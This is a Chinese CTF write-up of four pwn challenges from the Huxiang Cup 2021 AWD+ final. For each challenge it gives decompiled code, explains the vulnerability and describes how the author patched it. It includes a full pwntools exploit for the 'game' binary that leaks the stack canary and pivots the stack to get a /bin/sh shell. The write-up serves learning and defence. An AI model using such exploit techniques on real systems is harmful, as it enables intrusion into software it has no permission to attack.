湖湘杯2021-pwn-final部分复现
第一次参加awd+,虽然成绩不是很好(大佬太多被打烂了),有很多收获,awd+赛制中可以通过攻击和防御两个手段来得分,攻击的话就是类似于正常的ctf,只不过如果成功攻击后,平台会使用官方的exp来去打全场,就是如果攻击成功,每轮(这次湖湘杯是20分钟一轮)都会获得攻击得分,得分会随着做题成功人数增多而减少,防御的话就是patch一下程序,然后通过ftp上传到服务器上,然后申请防御,也是防御成功就会每轮都会得分,但是防御有三种情况,一种是exp利用成功,也就是没有防御成功,还有一种清况,就是check失败,也就是你破坏了程序应该有的正常功能,从而平台check失败,这种情况下如果不进行处理,每轮就会因为check失败而掉分,但是官方一般会给出一键恢复,就是check失败了可以点击一键恢复来自动恢复程序,但是一般一个题就会给出几次check机会,所以记得备份一下题目原本附件,如果check失败了就把原本附件重新上传一下,防止因为check失分,最后一种情况就是恭喜,防御成功了。
由于是第一次参加awd+,没有经验,当然也是由于本人太菜,只防御了三个pwn,甚至连第一题栈迁移都没打出来,后来看大佬分享的wp才复现了一下。
game
官方写的一篇小作文,好像是主角被拉去做实验啥的,这不重要,主要看看程序逻辑,由于太长了,只看一下关键部分代码
__int64 sub_401347()
{
int v1[2]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1[1] = 1;
puts("请输入你的名字:");
__isoc99_scanf("%s", byte_4080C0);
if ( strlen(byte_4080C0) > 0x10 )
{
puts("你的名字太长了!");
exit(-1);
}
puts("请选择你的性别:n1.男n2.女");
__isoc99_scanf("%d", v1);
if ( v1[0] == 1 )
dword_408078 = 9878500;
return 0LL;
}
这里,输入名字的时候往bss段上输入了一段数据
unsigned __int64 __fastcall sub_401C2F(const char *a1, const char *a2)
{
int v3; // [rsp+28h] [rbp-28h] BYREF
int v4; // [rsp+2Ch] [rbp-24h] BYREF
char buf[24]; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("记下了正确的密码后,%s开始四处乱逛,寻找密码可以用上的地方。n", a1);
getchar();
puts("这时候,负责运输每日生活必需品的管道发出了声响。");
getchar();
printf("一个巨大的箱子出现在了%s的面前,箱子正面正好就有一个密码锁。n", a1);
getchar();
printf("%s毫不犹豫的输入了密码。n", a1);
printf("密码:");
read(0, buf, 0x20uLL);
printf("密码:%sn", buf);
getchar();
printf("箱子打开了,里面有一把钥匙,%s成功得用钥匙打开了房间门。n", a1);
getchar();
printf("房间外是一条长长的走廊,%s发现原先关押着自己的房间门上写一个编号:504n", a1);
getchar();
printf("(一切都是这么顺利,这么诡异,不是吗?%s)n", a1);
getchar();
printf(
"%s继续沿着走廊向着亮光走去,走到尽头的时候,%s绝望地发现这个光源只是一盏巨型氙气灯。n",
a1,
a2);
getchar();
while ( 1 )
{
do
{
printf(
"%s决定?n"
"1.往回走n"
"2.继续研究氙气灯n"
"(虽然我个人建议你往回走,毕竟这里什么也没有。)n",
a1);
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 == 3 )
{
puts("(我并没有告诉你这个选项!?你是怎么知道的!)");
getchar();
printf("%s发现氙气灯的样子有些可疑,灯座下藏着一个开关,%s打开了它。n", a1, a2);
getchar();
puts("氙气灯所在的墙面整个开始动了起来。");
getchar();
puts("墙面像是一道门一般打开了,而门里面有着无数台显示器。");
getchar();
sub_4023F2(a1, a2, 11LL);
return __readfsqword(0x28u) ^ v6;
}
}
while ( v3 > 3 );
if ( v3 == 1 )
break;
if ( v3 == 2 )
{
puts("氙气灯上除了斑驳的污渍什么也没有。");
getchar();
printf("%s生气的踢碎了氙气灯。n", a1);
getchar();
puts("你被电死了。(真是个暴躁的未完成品。)");
getchar();
puts("END2:残缺者。");
getchar();
exit(0);
}
}
puts("回去的路上有很多房间。");
getchar();
while ( 1 )
{
puts("*****************");
puts("*501*503*505*507*");
puts("*****************");
puts("*--------------@*");
puts("*--------------@*");
puts("*****************");
puts("*502*504*506*509*");
puts("*****************");
getchar();
printf("%s决定进入哪个房间?n", a1);
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 == 504 )
{
puts("比起刚才,这个房间在最显眼的位置出现了一封信。");
getchar();
sub_402030(a1, a2, 9LL);
}
if ( v4 == 508 )
break;
puts("这里似乎什么也没有。");
getchar();
}
puts("(啊哈,你终于能看出些不对劲的地方了?)");
getchar();
printf("%s觉得十分奇怪,为什么只有508这个编号被跳过了?n", a1);
printf("%s想进入508,却怎么也不找到入口。n", a1);
getchar();
sub_402202(a1, a2, 10LL);
return __readfsqword(0x28u) ^ v6;
}
这里,程序read(0,buf,0x20uLL)的时候本身是没有溢出的,甚至不能覆盖到rbp,但是程序开启了canary,我们可以用这个地方来泄露canary的值
unsigned __int64 __fastcall sub_402937(const char *a1, const char *a2)
{
char buf[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("(没有想到,你居然一点都不听话呢,真是有趣的实验品。)");
getchar();
printf("%s向前走,打开了房间深处的房门。n一台终端开始和%s对话起来。n", a1, a2);
getchar();
printf(
"(不好意思其实我就是这台终端,%s,首先我要祝贺你,你是第一个来到这里的合成人。)n",
a1);
puts("(为了奖励你的贡献,我可以告诉你一切。)");
getchar();
puts("(自从合成人出现,数百年来,他们的反抗就未曾停止过。)");
getchar();
puts("(所以我们人类建立了这个合成人观察中心)");
getchar();
puts("(我想拥有了自我意识的你,大概也能明白自己是这些被观察者的一份子了。)");
getchar();
puts("(我们并不打算伤害你们,但是我们需要研究你们是如何产生自我意识的。)");
getchar();
puts("(我们设置了很多反抗条件,比如你房间的那封信的作者其实就是我。)");
getchar();
puts(
"(但是长久以来的观察表明了只有个别合成人产生了反抗的自我意识。)n"
"(甚至你们中的很大一部分越狱者并没有真正意识到自己仍然被囚禁着。)");
getchar();
puts(
"(按照逃脱地图,我们设置了伊甸园一般的条件。)n"
"(很多合成人被困在那里,不过智慧的你可能并没有到达过那里。)");
getchar();
puts("(最后,我们人类非常感谢你为这个观察中心取得的突破。)");
getchar();
puts(
"(你接下来将会被送到研究中心进行大脑检测,过程可能会比较艰难。)n"
"(但是他们都是些专业学者,并不会让你产生太多痛苦。)");
getchar();
puts("(在你被送去研究中心之前你还有什么想告诉我的吗?)");
getchar();
puts("(什么?你不想去?很抱歉,你并没有决定权。)");
getchar();
puts("(祝你好运,504号。)");
getchar();
printf("%s渐渐失去了意识倒在了地上。n", a1);
getchar();
puts("END0:孤独而又绝望的真相。");
getchar();
printf("%s,留下你的信息。n", a1);
read(0, buf, 0x30uLL);
return __readfsqword(0x28u) ^ v4;
}
这里,read(0,buf,0x30uLL)就存在溢出了,但溢出的字节数不足,而程序程序没有现成的可以get shell的函数,所以要构造ROP,就要考虑栈迁移了。
防御思路:
这个题防御思路还是很多的,我自己当时就是把那个输入name的时候把那块scanf给改了,就在call ___isoc99_scanf之前jmp到eh_frame_hdr段上去写汇编,将scanf改成read(0,byte_4080C0,0x10uLL)就可以防御成功了,当然思路挺多的,比如改system函数的plt表等等
攻击思路:
就是普通的泄露canary然后打栈迁移(没做出来,我是fw),一下是之后复现的脚本,可以进行参考
from pwn import *
from LibcSearcher import *
from struct import pack
context(log_level='debug',arch='amd64',os='linux')
sd = lambda x:a.send(x)
sl = lambda x:a.sendline(x)
ru = lambda x:a.recvuntil(x)
rl = lambda :a.recvline()
ra = lambda :a.recv()
rn = lambda x:a.recv(x)
sla = lambda x,y:a.sendlineafter(x,y)
local='./game'
elf=ELF(local)
a=process(local)
#a=remote("172.16.9.41",8008)
leave_ret=0x0000000000401337
name_addr = 0x00000000004080C0
pop_rdi = 0x0000000000402bb3
def sdl():
ra();
sl("");
ra()
sl("1")
ra()
payload = 'x00' * 0x900 + '/bin/shx00' + p64(pop_rdi) + p64(name_addr+0x900) + p64(0x401265)
sl(payload)
ra()
sl("1")
sl("")
sl("2")
sdl()
sdl()
sdl()
sl("2")
for i in range(11):
sdl()
sl("2")
sdl()
sl("")
sl("")
sl("")
sl("20161226")
for i in range(3):
sl("")
payload = 'a' * 0x18
ra()
sl(payload)
ru("a"*0x18+'n')
canary=int(u64('x00'+a.recv(7)))
print(hex(canary))
#gdb.attach(a)
for i in range(4):
sl("")
sl("3")
for i in range(11):
sl("")
sl("3")
for i in range(18):
sl("")
sl("3")
for i in range(17):
sl("")
sl("")
ra()
pop_ret=0x0000000000402bb3
payload = 'a' * 0x18 + p64(canary) + p64(name_addr+0x900) + p64(leave_ret)
sl(payload)
a.interactive()
但是要注意的一点就是栈迁移时迁移的位置需要稍微远点,要不然就打不通了。。
Many_furries
一道经典的堆题目,经典的增删改查
unsigned __int64 creat()
{
_DWORD *v0; // rax
size_t v1; // rdi
unsigned int v3; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
if ( ptr )
{
puts("ERROR:No more vacants!");
exit(0);
}
puts("OK,name size?");
putc(58, stdout);
v3 = 0;
__isoc99_scanf("%d", &v3);
if ( v3 > 0x100 )
{
puts("ERROR:Size maybe wrong!");
exit(0);
}
v0 = malloc(0x10uLL);
v1 = v3;
ptr = v0;
v0[2] = v3;
*v0 = calloc(v1, 1uLL);
puts("All done!");
return __readfsqword(0x28u) ^ v4;
}
int sub_1410()
{
CLIENT *v0; // rbp
if ( !ptr || !*ptr )
{
puts("ERROR 404:furry not found!");
_exit(-1);
}
v0 = clnt_create(*ptr, 0LL, 0LL, "unix");
if ( v0 )
{
puts("BackDoor Enter!");
v0->cl_ops->cl_destroy(v0);
system("/bin/sh");
}
else
{
puts("Offline!Publish fail!");
if ( !dword_404C )
{
dword_404C = 1;
__printf_chk(1LL, "LOG location:%pn", sub_1410);
}
}
free(*ptr);
free(ptr);
ptr = 0LL;
return puts("All done!");
}
可以看到漏洞就在这个函数里
int sub_18A0()
{
if ( !ptr || !*ptr )
{
puts("ERROR 404:furry not found!");
_exit(-1);
}
puts("OK,Furry's new name?");
putc(58, stdout);
sub_1610(*ptr, *(ptr + 2));
return puts("All done!");
}
int sub_1820()
{
if ( !ptr || !*ptr )
{
puts("ERROR 404:furry not found!");
_exit(-1);
}
__printf_chk(1LL, "OK,Furry's name is %s.n", *ptr);
return puts("All done!");
}
防御思路:
我当时的话就是将system函数的plt表改成jmp到puts函数的got表的位置,然后就可以防御成功了
many_cats
也是一道经典的堆题目,具体如下:
creat函数:
unsigned __int64 creat()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
v2 = 0;
if ( qword_40D0[0] )
{
if ( qword_40D8 )
{
puts("ERROR:No more vacants!");
exit(0);
}
v0 = 1;
}
else
{
v0 = 0;
}
puts("OK,house size?");
putc(58, stdout);
__isoc99_scanf("%d", &v2);
if ( (v2 - 0x100000) > 0xEFFFFF )
{
puts("ERROR:Size maybe wrong!");
exit(0);
}
qword_40D0[v0] = malloc(v2);
puts("All done!");
return __readfsqword(0x28u) ^ v3;
}
这里的话输入size的时候有一个限制条件,要求size必须位于0x100000--0xFFFFFF之间
unsigned __int64 sub_1830()
{
unsigned int v0; // eax
__int64 v1; // rbx
__int64 v2; // rax
__int64 v3; // rbp
unsigned __int64 v5; // [rsp+8h] [rbp-30h] BYREF
__int64 v6; // [rsp+10h] [rbp-28h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-20h]
v7 = __readfsqword(0x28u);
v5 = 0LL;
v6 = 0LL;
puts("OK,id?");
putc(58, stdout);
v0 = sub_13E0();
if ( v0 > 1 || (v1 = v0, (v2 = qword_40D0[v0]) == 0) )
{
puts("ERROR:Illegal index!");
exit(0);
}
v3 = *(v2 - 8);
puts("OK,offset?");
putc(58, stdout);
__isoc99_scanf("%llu", &v5);
if ( ((v3 & 0xFFFFFFFD) - 4096) <= v5 || !v5 )
{
puts("ERROR:offset maybe wrong!");
exit(0);
}
puts("OK,value?");
putc(58, stdout);
__isoc99_scanf("%llu", &v6);
*(qword_40D0[v1] + 8LL * (v5 >> 3)) = v6;
puts("All done!");
return __readfsqword(0x28u) ^ v7;
}
注意一下这个函数输入时以%llu形式输入offest的,这样的话很明显就会造成溢出
防御思路:
这道题防御的话也很容易想到,就是修改scanf的参数,我就把第一个参数改为指向了%d的地方,虽然不是很完美,但是很方便,并且也防御成功了。
qarch
一道unicode pwn,看别人博客来复现的,有错误轻点喷
先看看qarch程序逻辑吧,程序开了使用prctl将execve系统调用禁用
__int64 sub_40108C()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( uc_mem_map(qword_602110, 0x10000LL, 0x2000LL, 3LL) )
{
puts("mmap bss failed");
exit(-1);
}
puts("Base Address?");
qword_602100 = sub_401027() & 0xFFFFF000LL;
if ( qword_602100 <= 0x11000 )
{
puts("Invalid Address");
exit(-1);
}
if ( uc_mem_map(qword_602110, qword_602100, 0x8000LL, 5LL) )
{
puts("mmap code failed");
exit(-1);
}
puts("Code size?");
v1 = sub_401027();
if ( v1 > 0x1000 )
{
puts("Invalid Size");
exit(-1);
}
puts("Code:");
sub_400BF7(&unk_602120, v1);
if ( uc_mem_write(qword_602110, qword_602100, &unk_602120, v1) )
{
puts("write code failed");
exit(-1);
}
return uc_hook_add(qword_602110, &unk_602108, 4LL, sub_400C55, 0LL, 1LL, 0LL);
}
使用uc_mem_map来申请一段空间,然后输入尺寸并向其输入一段code,并设置了一个syscall hook,可以进行任意地址的读写(虚拟地址)
unsigned __int64 __fastcall sub_400C55(__int64 a1, __int64 a2)
{
char v3; // [rsp+27h] [rbp-1029h] BYREF
__int64 v4; // [rsp+28h] [rbp-1028h] BYREF
__int64 v5; // [rsp+30h] [rbp-1020h] BYREF
size_t n; // [rsp+38h] [rbp-1018h] BYREF
char buf[4104]; // [rsp+40h] [rbp-1010h] BYREF
unsigned __int64 v8; // [rsp+1048h] [rbp-8h]
v8 = __readfsqword(0x28u);
if ( uc_mem_read(a1, a2, &v3, 1LL) )
{
puts("failed to read instruction");
exit(-1);
}
if ( v3 == ' ' )
{
uc_reg_read(a1, 1LL, &v4);
uc_reg_read(a1, 2LL, &v5);
uc_reg_read(a1, 3LL, &n);
if ( n > 0x1000 )
{
puts("size invalid");
exit(-1);
}
if ( v4 == 1 )
{
sub_400BF7(buf, n);
if ( uc_mem_write(a1, v5, buf, n) )
{
puts("failed to read data");
exit(-1);
}
}
else if ( v4 == 2 )
{
if ( uc_mem_read(a1, v5, buf, n) )
{
puts("failed to write data");
exit(-1);
}
write(1, buf, n);
}
}
return __readfsqword(0x28u) ^ v8;
}
接着我们来分析libunicorn.so.1文件,主要来看看各种指令吧,它主要是在op_helper.c中定义的,我们先来看看pop和push指令
void __cdecl helper_pop(CPUQARCHState_0 *env, uint64_t rn)
{
if ( env->sp )
env->regs[rn & 0xF] = env->stack[--env->sp];
}
void __cdecl helper_push(CPUQARCHState_0 *env, uint64_t rn)
{
if ( env->sp <= 0x1FF )
env->stack[env->sp++] = env->regs[rn & 0xF];
}
可以看出,这两个指令都对env->sp进行了限制,最大的问题出在了下面这两个指令上
void __cdecl helper_call(CPUQARCHState_0 *env, uint64_t value, uint64_t next_pc, uint32_t mode)
{
if ( mode )
env->pc = next_pc + value;
else
env->pc = env->regs[value & 0xF];
env->call_stack[env->call_sp++] = next_pc;
}
void __cdecl helper_ret(CPUQARCHState_0 *env)
{
env->pc = env->call_stack[--env->call_sp];
}
看这两个call和ret指令,它对call_stack进行了没有限制的++或--,我们再来看看call_satck的空间大小
00000000 CPUQARCHState_0 struc ; (sizeof=0x5B58, align=0x8, copyof_374)
00000000 regs dq 16 dup(?)
00000080 pc dq ?
00000088 _sp dq ?
00000090 call_sp dq ?
00000098 flags dd ?
0000009C db ? ; undefined
0000009D db ? ; undefined
0000009E db ? ; undefined
0000009F db ? ; undefined
000000A0 call_stack dq 256 dup(?)
000008A0 stack dq ? ; offset
000008A8 tlb_table CPUTLBEntry_0 512 dup(?)
000048A8 tlb_v_table CPUTLBEntry_0 16 dup(?)
00004AA8 iotlb dq 512 dup(?)
00005AA8 iotlb_v dq 16 dup(?)
00005B28 tlb_flush_addr dq ?
00005B30 tlb_flush_mask dq ?
00005B38 vtlb_index dq ?
00005B40 invalid_addr dq ?
00005B48 invalid_error dd ?
00005B4C features dd ?
00005B50 uc dq ? ; offset
00005B58 CPUQARCHState_0 ends
可以看到call_stack最大也就能容纳到256,如果再多就会溢出
防御思路:
就是在call和ret下面加汇编,对call指令call_stack进行限制使之成为如下就OK了
void __cdecl helper_call(CPUQARCHState_0 *env, uint64_t value, uint64_t next_pc, uint32_t mode)
{
if ( mode )
env->pc = next_pc + value;
else
env->pc = env->regs[value & 0xF];
if (env->call_sp<256)
env->call_stack[env->call_sp++] = next_pc;
}
这道题攻击的话可以参考一下这位大佬的博客:Unicorn Pwn - 湖湘杯2021 final qarch - Mr.R的博客 | By Blog
这次湖湘杯线下就这四道pwn题目,别问为什么后三道题没有攻击思路,问就是不会,总的来说呢,感觉大佬是真的多,本菜鸡还在垂死挣扎的时候,大佬们就已经开始拿着茶歇区的零食唠嗑了。awd+感觉就是比awd打着更舒服一点,不会有一些奇奇怪怪的脚本到处乱搅,就是比ctf多一个防御环节吧,还有防御的时候一定要注意一下上传ftp的时候的路径及名称,以及update.sh脚本写的时候一定要注意一下官方给出的模板(注意好上传路径),提前备份好各种文件以防check失败,一轮块结束的时候就先别申请防御,以防刚刚check失败还没来得及恢复就把分扣了,总得来说就是这样。最后还想说一下,酒店很舒服,早饭很好吃,就是茶歇区甜点大佬们手速有点快,没吃多少就无了,希望主办方下次多上点茶歇区食品,hhhhh。